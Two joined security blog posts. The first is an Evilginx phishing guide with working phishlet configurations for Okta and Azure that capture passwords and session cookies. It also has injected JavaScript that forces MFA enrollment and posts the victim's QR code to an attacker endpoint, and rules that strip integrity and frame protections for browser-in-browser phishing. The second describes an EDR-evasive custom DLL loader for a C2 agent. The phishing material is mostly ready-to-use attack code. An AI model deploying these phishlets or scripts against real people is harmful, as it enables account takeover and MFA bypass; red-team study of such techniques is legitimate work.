Usually, threat actors try to send malicious documents such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, these types of techniques are less and less used.

Today, threat actors do not perform phishing to get a direct initial access to the company network, but to retrieve the digital identity of a user: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.

To limit such attacks, companies started enforcing MFA to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.

Phishing 101

IDP, cookies and phishing

The MFA protection implemented by companies is a good way to limit the impact of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.

However, today the MFA is usually only asked during the first authentication: once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.

In the most common web IDPs such as Azure, Google or Okta, this ticket is represented by the cookies. When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.

In a nutshell, the user IDP cookies represent the user digital identity. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.

Evilginx

Evil proxy

In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, the user will be aware that something wrong is happening.

That’s where Evilginx comes into play. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:

I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.

Phislets 101

For example, during the authentication to Azure, the following domains are used:

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.

Evilginx uses specific configuration files known as phishlets to handle such cases. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With the phishlet, Evilginx will know that the domain login.microsoftonline.com must be rewritten and will send back to the target the following modified page:

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With such match and replace pattern, Evilginx is able to trap the user inside the malicious application even if the IDP tries to redirect the user to a specific page.

Auto-replace limits

The Evilginx phishlet auto-replace has its limits. Indeed, sometime the server does not directly hardcode the domain in the page but builds it through a JS script.

In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.

CORS

In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script dynamically builds the redirection URL: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it fails due to CORS protection (trying to reach okta.com/idp/idx/introspect from evilginx.com):

By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

With this simple indication, Evilginx will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.

JS integrity

When modifying the JS file or any other file through Evilginx, it can cause troubles due to the script integrity hash:

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.

But, with Evilginx, we can also modify the html page to remove the integrity check:

Replace: integrity="[^"]*"
By: integrity=''

Redirect URI validation

The last point is the Redirect URI validation. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.

This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain, Okta will show the following error:

The redirect URI is dynamically built by Okta by taking the login domain and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:

Using Evilginx, it is possible to use the match/replace pattern to reset the redirect_uri to the right URI:

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Basic phishlets

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'
  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automate critical actions

Adding MFA device

Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.

This is usually done by adding an additional MFA device to the user account.

For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, as long as the attacker has access to the user session, he is able to directly register his malicious MFA device.

However, on some IDP such as Okta, the MFA registration asks for an MFA validation. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.

What could be interesting is to add this reauthentication step during the phishing attack:

1. The user authenticates a first time to access his session
2. Evilginx steals the user cookies
3. Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup
4. The user revalidates his MFA thinking the first one failed
5. Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process

All these actions can be automated through Evilginx by modifying the JS scripts.

First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

This script will be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite redirection loop at the end of his authentication flow…

Then, a new JS code is added to the /help/login page. This script is used to enumerate the available MFA technologies available and configured:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

The script chooses the Okta Verify authentication method and redirects the user to the setup page.

On the setup page, a new JS script is injected. This JS script is used to automate the registration steps to only let the MFA validation form:

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })
            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Once the user has validated the MFA authentication, the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.

The attacker can then retrieve the QRCode and enroll his own device.

Pushing the limit

Okta with Azure authentication

Some companies can link two IDP together: Okta redirects to Azure and provisions the user when they first login.

In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.

The previous phislets must be merged in order to capture both authentications. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.

Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.

Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.

In a nutshell, in this specific case, it is possible to simply merge the two previous phishlets.

Frame buster

More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.

The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.

Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:

The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.

While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.

Self == top

The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.

With Evilginx, it is possible to remove the check with a simple match and replace pattern:

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

This modification ensures that the iframe is recognized as the top frame.

Target=”_top”

The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.

This can be done by adding the target=”_top” attribute in the form. It is then possible to remove this protection with Evilginx:

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.

The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.

In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.

It is possible to simply remove this header with Evilginx:

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

Example of browser in browser phishing on a company using Okta/Azure

The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.

But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.

The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.

Cet article Phishing: Pushing Evilginx to its limit est apparu en premier sur RiskInsight.

As everyone knows, when developing a C2 and the corresponding agent, OPSEC must be the priority, so the agent code must rise as few events (ETW) as possible.

The most common way to increase OPSEC when using external DLL is to perform dynamic loading to avoid getting the loaded DLL name in the source code. This can be done using the LoadLibrary Win32 API.

This API allows a program to load a specific DLL from the disk. However, the drawback is that LoadLibrary raises several events and telemetry an EDR can analyze to detect the malicious C2 agent.

In order to avoid this kind of event, I chose to implement a custom LoadLibrary that will not raise such events.

State of the art – LoadLibrary

I will not go too much deeper in the implementation details, as this has already been documented several times in blogposts[1] or books (Windows Internals Part 1).

The goal here is to create a function that takes as an input a DLL path and loads the DLL in memory. Doing it manually has a lot of advantages:

• Limits ETW and Microsoft telemetry
• More choices in the way sections are allocated and written.
• Possibility to hide malicious loaded DLL when not used.

However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the SpecterOps blogpost PerfectLoader[2]:

The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.

Basic implementation

The basic implementation consists in just copying the DLL image in memory, performing relocation, importing imported modules and resolving the IAT entries.
The different steps can be found in the Windows Internal Part 1 book (page 178) and a more described implementation can be found here[3].
This is the most common way to load a DLL. Once the DLL is loaded as-is in memory, it can be used for basic usages. However, any use of standard Win32API against this DLL such as GetModuleHandle or GetProcAddress will fail.
This implementation does not implement any additional feature provided by the Windows DLL loader: it just performs a textbook DLL loading.

Fixing compatibility with Microsoft WIN32API

The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the DLL cannot be searched using GetModuleHandle or LoadLibrary.

Therefore, if the others DLL need access to the loaded DLL, they will not find it with the standard Win32API and will load it again using LoadLibrary leading to a nice ETW event: all we wanted to avoid in the first place.

Batsec[4] wrote an article[5] on how the DLL can be loaded in memory and still be compatible with the Microsoft Win32 API (at least GetProcAddress, LoadLibrary and GetModuleHandle) without raising a bunch of events.

His research shows that when a DLL is loaded by the standard Windows DLL loader, it does not just load the image in memory and the loader will perform at least two additional actions:

• Add the DLL in the PEB linked list that contains all the DLL loaded by a process.
• Create a hash identifying the DLL and adding it to another structure called LdrpHashTable

During the loading process, the DLL loader, calls the LdrpInsertDataTableEntry function. This function creates a hash identifying the DLL and adds it to the LdrpHashTable structure as shown in the following figure:

Figure 1: use of LdrpHashTable during DLL loading

This mechanism has been implemented by Microsoft to ease and speedup DLL search through a read and black binary tree. This structure allows the search of a DLL in O(log(n)) instead of O(n) with the previous linked list. This mechanism will not be explained here but can be seen in the DarkLoadLibrary project in the FindModuleBaseAddressIndex function.

Adding the DLL in the PEB linked list AND in the LdrpHashTable can be seen as fully registering the DLL and makes it known to the process.

Once this link has been established, the DLL can be searched, freed, or copied through the Win32API.

Problems with this implementation

When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.

For a moment it worked well. All the DLL I loaded with worked out of the box and no specific event regarding the loading of an additional DLL were raised by the agent.

The troubles begin when I tried to dynamically load a specific DLL: WinHTTP.dll.

The DLL is successfully loaded, and the majority of functions worked well, but one function did not want to work: WinHTTPOpen.

This function is used to initialize the environment and prepare the structures that will be used by the other network API used to perform an HTTP connection. So, without this function, it was not possible to perform any HTTP communication through the WinHTTP API.

When I called the WinHTTPOpen function, the call failed with the error code 126. This error code is related to a missing DLL which does not make any sense as all the DLL were successfully loaded.

Dive into WinHTTP.DLL madness

Macroscopic investigation

The error code hinted a problem with a DLL that has not been loaded, so my first reflex was to monitor the process using Procmon, looking for an imported DLL that could have failed to be loaded.

However, even when comparing the DLL loaded with the standard LoadLibrary and the ones loaded through the custom loader, no differences could explain the error code 126.

Microscopic investigation

For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the WinHTTP.DLL and debug it step by step until I saw the error code 126 popping in one of the registers.

Finding the initial problem

With the step by step debug, I quickly found that the problem occurred in the INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings function in the WINHTTP.DLL file.

Following the call stack leads me to the following functions:

• INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex
• WxReferenceDll
• TakeSingleDllRef

In the TakeSingleDllRef I found the following piece of code:

Figure 2: TakeSingleDllRef code

The 126 error code I got when running the WinHTTPOpen function is generated by the GetModuleHandleExA function.

This function is usually used to retrieve the base address of an already loaded DLL by its DLL name. However, here, two unusual parameters are given to this API:

• dwFlags: 4 instead of 2
• dllName: the address of the current function instead of the name of the DLL to search for.

Looking at the Microsoft documentation shows that dwFlags 4 is named GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS and thus explains why an address is given instead of a DLL name.

Indeed, when this flag is passed to the GetModuleHandleExA, the function will not search for the DLL base address by its name but will find the DLL that contains the given function.

Narrow down the problem

The problem comes from the GetModuleHandleExA function. This is interesting because during my tests the custom loader worked fine with GetModuleHandle (that call GetModuleHandleEx under the hood with dwFlags 2 instead of 4).

So, I decompiled the KERNELBASE.DLL to find the difference of implementation when dwFlags 4 is passed to GetModuleHandleEx.

The callstack shows that GetModuleHandleEx called the BasepGetModuleHandleExW function.

Figure 3: BasepGetModuleHandleExW code

The first part of the BasepGetModuleHandleExW function explains the difference of behavior between GetModuleHandle and GetModuleHandleEx with dwFlags set to 4.

When the dwFlags is set to 4, the function uses the RtlPcToFileHeader to find the base address of the module related to the function passed as parameters.

A step-by-step debug shows that this function returns the right value for a DLL loaded with LoadLibrary but always return 0 for a DLL loaded with the custom DLL Loader.

Analysis of RtlPcToFileHeader

If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the Win32Api VirtualQuery. So, I did not see why this function could fail.

The RtlPcToFileHeader indeed use VirtualQuery to get the base address:

Figure 4: use of VirtualQuery inRtlPcToFileHeader

However, before getting in this execution branch it performs some additional tests :

Figure 5: Tests performed in RtlPcToFileHeader

If the execution flow goes into the if(!v10), the function will return 0, otherwise, it has a chance to go through the VirtualQuery and returns the right base address.

When this function is used on a DLL loaded by the custom loader, it always falls in the wrong code path returning 0.

LdrpInvertedFunctionTable

The test performed by the RtlPcToFileHeader function is based on an analysis of the LdrpInvertedFunctionTable.

This table that can be parsed using the two following structures,

Figure 6: Structure used to parse the inverted table

seems to be used to handle SEH exceptions.

So, it seems that the custom loader fails to register these exceptions. Indeed, using WinDBG with the DLL loaded through LoadLibrary, it is possible to see that an entry corresponding to the WINHTTP.DLL file has been registered:

Figure 7: Analysis of the inverted table with WinDBG

The same test with the custom loaded DLL shows that no new entry were added to the LdrpInvertedFunctionTable.

Solutions

The messy one

The root cause of the problem is that when loading the DLL, no additional entries are added to the LdrpInvertedFunctionTable leading to a hard failure on the RtlPcToFileHeader function.

However, the main cause of the problem is that GetModuleHandleEx uses RtlPcToFileHeader.

While adding a new entry to the LdrpInvertedFunctionTable can be a hard problem, hijacking the GetModuleHandleEx function when loading the DLL is an easy one.

Indeed, during the DLL loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to GetModuleHandleExA.

The following code can be used instead of GetModuleHandleExA:

Figure 8: custom GetModuleHandleExA code

This code iterates over the DLL registered in the PEB linked list, check if the given function is located in the DLL and returns the base address of the related DLL.

This solution worked for the WinHTTP.DLL but what about other use cases or other functions based on RtlPcToFileHeader? We would have to remap them explicitly every time which is not the best way to operate.

The elegant one

When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the LdrpInvertedFunctionTable.

Locate the use of RtlInsertInvertedFunctionTable

The function RtlInsertInvertedFunctionTable can be used to add an entry in the LdrpInvertedFunctionTable. So, if this is performed by the Windows DLL loader, it should be possible to find a reference of this function in the LoadLibrary callstack.

Indeed, the call to the RtlInsertInvertedFunctionTable is found in the LdrpProcessMappedModule function:

Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading

This function is called with a security cookie generated using the LdrInitSecurityCookie function:

Figure 10: Use of LdrInitSecurityCookie

While the LdrInitSecurityCookie is an exported function, the RtlInsertInvertedFunctionTable is not. So, if we want to use this function, there are two choices:

• Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented here[6])
• Redeveloping the function

I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.

Analysis of the RtlInsertInvertedFunctionTable function

Decompiling the RtlInsertInvertedFunctionTable shows the following code :

Figure 11: RtlInsertInvertedFunctionTable function

Among these functions, the only ones exported are the RtlAcquireSRWLockExclusive and RtlReleaseSrwLockExclusive. However, the other ones are quite simple to implement:

• RtlCaptureImageExceptionValues retrieves the image ExportDirectory
• LdrProtectMrData performs a VirtualProtect on the .mrdata section
• RtlpInsertInvertedFunctionTableEntry populates the RTL_INVERTED_FUNCTION_TABLE_ENTRY and adds the new element to the RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable.

The only problem now is there is not any exported function that allows the retrieval of the LdrpInvertedFunctionTable object.

Locate the RtlInsertInvertedFunctionTable

So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the LdrpInvertedFunctionTable structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole NTDLL .text section.

Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:

• The structure is located in the .mrdata
• The MaxCount field must be less than 512
• The Count field must be less than max count and more than 0

The LdrpInvertedFunctionTable is located in the NTDLL .mrdata. This section is a specific section that is configured with ReadOnly protection as the .rdata. However, this section protection is often changed from ReadOnly to ReadWrite.

This section is used to store sensitive structure that can be modified by the OS under specific circumstances (enhance the ReadWrite protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the ReadOnly protection at runtime).

Then, some conditions on the different entries can be verified to ensure that the address tested represents the LdrpInvertedFunctionTable and is not a false positive. For each entry:

• The exception directory address must be contained in the DLL image
• The exception directory address must match with the one computed from the DLL base image
• The exception directory size must match with the one computed from the DLL base image

These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.

The following function can be used to locate the LdrpInvertedFunctionTable:

Figure 12: Code looking for LdrpInvertedFunctionTable

We now have everything we need to implement the RtlInsertInvertedFunctionTable.

Implement the RtlInsertInvertedFunctionTable

The RtlInsertInvertedFunctionTable can be implemented as the following:

• Locate the LdrpInvertedFunctionTable as explained before
• Unprotect the .mrdata section from ReadOnly to ReadWrite using VirtualProtect
• Locate the index where the new DLL entry must be stored (these entries are sorted by image base address)
• Write the RTL_INVERTED_FUNCTION_TABLE_ENTRY element in the LdrpInvertedFunctionTable

Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation

This code can be added to the DarkLoadLibrary[7] project to get a fully functional DLL Loader.

Conclusion

When developing a custom C2, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something OPSEC.

This part implies a deep understanding of Windows internals in order to understand what IOC will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native Windows ecosystem.

This blogpost does not only show how a specific part of the Windows DLL loader can be reimplemented, but how IOC can be hunted, and how the Windows internals can be reversed to adapt our work to the ecosystem.

[1] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[2] https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa

[3] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[4] https://twitter.com/_batsec_

[5] https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/

[6] https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c

[7] https://github.com/bats3c/DarkLoadLibrary

Cet article LoadLibrary madness: dynamically load WinHTTP.dll est apparu en premier sur RiskInsight.